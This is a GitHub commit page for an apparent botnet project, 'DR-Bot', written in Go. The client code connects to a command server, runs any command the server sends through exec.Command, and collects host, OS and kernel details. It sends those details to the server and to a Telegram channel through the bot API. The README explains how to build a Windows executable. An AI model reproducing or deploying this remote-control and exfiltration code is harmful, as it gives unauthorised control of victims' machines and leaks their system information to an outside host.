Skip to content

Commit 7d5ef47

Browse files
committed
Merge branch 'release/v1.0.0-Alpha'
2 parents de3032c + 080e36d commit 7d5ef47

File tree

21 files changed

+715
-1
lines changed

21 files changed

+715
-1
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
src/BotClient/logger.log
2+
src/BotServer/logger.log
3+
**/.vscode
4+
**/pkg

README.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,8 @@
22

33
Run this to alter GOPATH
44

5-
`export GOPATH=$HOME/Desktop/MProjects/DR-Bot-Go`
5+
`export GOPATH=$HOME/Desktop/MProjects/DR-Bot`
6+
7+
# Building for Windows
8+
9+
`GOOS=windows GOARCH=amd64 go build -o client.exe`

src/BotClient/bot.log

Whitespace-only changes.

src/BotClient/config.json

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
{
2+
"API": "yourAPI",
3+
"BOT_URL": "https://api.telegram.org/bot",
4+
"CHAT_ID": "-1001329388485",
5+
"CHAT_TYPE": "channel"
6+
}

src/BotClient/initConn.go

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package main
2+
3+
import (
4+
botclientcommand "BotClientCommand"
5+
misc "Misc"
6+
"bufio"
7+
"fmt"
8+
"net"
9+
"os"
10+
)
11+
12+
//Conn ...
13+
var Conn net.Conn
14+
15+
// initCLientConn initializes client connection
16+
func initClientConn(netType string, addr string, port string) {
17+
Conn, err := net.Dial("tcp", addr+":"+port)
18+
if err != nil {
19+
misc.Err("cannot connect to server")
20+
}
21+
misc.Info("Client Connected")
22+
go handleClientInput(Conn)
23+
handleClientConn(Conn)
24+
}
25+
26+
func handleClientConn(c net.Conn) {
27+
_, err := c.Write([]byte(">setbotname " + botclientcommand.Getnick()))
28+
if err != nil {
29+
// return
30+
}
31+
for {
32+
buf := make([]byte, 500)
33+
nr, err := c.Read(buf)
34+
if err != nil {
35+
36+
}
37+
data := string(buf[0:nr])
38+
fmt.Println(data)
39+
if data == "Name Taken" {
40+
_, err = c.Write([]byte(">setbotname " + botclientcommand.Getnick()))
41+
}
42+
botclientcommand.HandleCommand(c, data)
43+
}
44+
}
45+
46+
func handleClientInput(c net.Conn) {
47+
reader := bufio.NewReader(os.Stdin)
48+
for {
49+
msg, err := reader.ReadString('\n')
50+
if err != nil {
51+
misc.Warning("cannot send a message", err)
52+
continue
53+
}
54+
c.Write([]byte(msg + "\n"))
55+
}
56+
}

src/BotClient/main.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
package main
2+
3+
func main() {
4+
initClientConn("tcp4", "localhost", "8080")
5+
}

src/BotClientCommand/capture.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
package botclientcommand
2+

src/BotClientCommand/cmd.go

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package botclientcommand
2+
3+
import (
4+
m "MiscClient"
5+
"net"
6+
"os/exec"
7+
)
8+
9+
func cmd(command []string, cc net.Conn) {
10+
var msg string
11+
for i := 1; i < len(command); i++ {
12+
msg = msg + command[i] + " "
13+
}
14+
15+
c := exec.Command(command[1], command[2:]...)
16+
if err := c.Run(); err != nil {
17+
m.Warning("Cannot Run Command", err)
18+
}
19+
sendToServer(cc, "[cmd] "+msg+"is succesfully executed")
20+
}

src/BotClientCommand/command.go

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package botclientcommand
2+
3+
import (
4+
"fmt"
5+
"math/rand"
6+
"net"
7+
"strings"
8+
9+
gi "github.com/matishsiao/goInfo"
10+
)
11+
12+
var BotName string
13+
14+
//Getnick ...
15+
func Getnick() string {
16+
temp := gi.GetInfo()
17+
rand := rand.Int63n(5000000)
18+
BotName = fmt.Sprintf("%s_%d", temp.GoOS, rand)
19+
return BotName
20+
}
21+
22+
//HandleCommand ...
23+
func HandleCommand(c net.Conn, message string) {
24+
fullCommand := strings.Split(message, " ")
25+
switch fullCommand[0] {
26+
27+
case "getinf":
28+
go getInf(c)
29+
break
30+
case "cmd":
31+
go cmd(fullCommand, c)
32+
break
33+
}
34+
}
35+
36+
func getInf(c net.Conn) {
37+
info := gi.GetInfo()
38+
sendToServer(c, "OS->"+info.OS+"- Platform ->"+info.Platform+"- Kernel ->"+info.Kernel+"- Host ->"+info.Hostname+"- Core ->"+info.Core)
39+
sendMessageToChannel("OS->" + info.OS + "- Platform ->" + info.Platform + "- Kernel ->" + info.Kernel + "- Host ->" + info.Hostname + "- Core ->" + info.Core)
40+
}

src/BotClientCommand/util.go

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package botclientcommand
2+
3+
import (
4+
m "MiscClient"
5+
"fmt"
6+
"io/ioutil"
7+
"log"
8+
"net"
9+
"net/http"
10+
"strings"
11+
)
12+
13+
// SendToServer sends a message to server
14+
func sendToServer(c net.Conn, msg string) (err error) {
15+
_, err = c.Write([]byte(msg))
16+
return
17+
}
18+
19+
func sendMessageToChannel(message string) {
20+
message = strings.Replace(message, " ", "", -1)
21+
resp, err := http.Get(m.ClientConfig.BOT_URL + m.ClientConfig.API + "/sendMessage?chat_id=" + m.ClientConfig.CHAT_ID + "&text=@" + BotName+":" + message)
22+
if err != nil {
23+
log.Fatalln("cannot read url body")
24+
}
25+
defer resp.Body.Close()
26+
27+
body, err := ioutil.ReadAll(resp.Body)
28+
if err != nil {
29+
fmt.Println(err)
30+
}
31+
fmt.Println(string(body))
32+
33+
}

0 commit comments

Comments
 (0)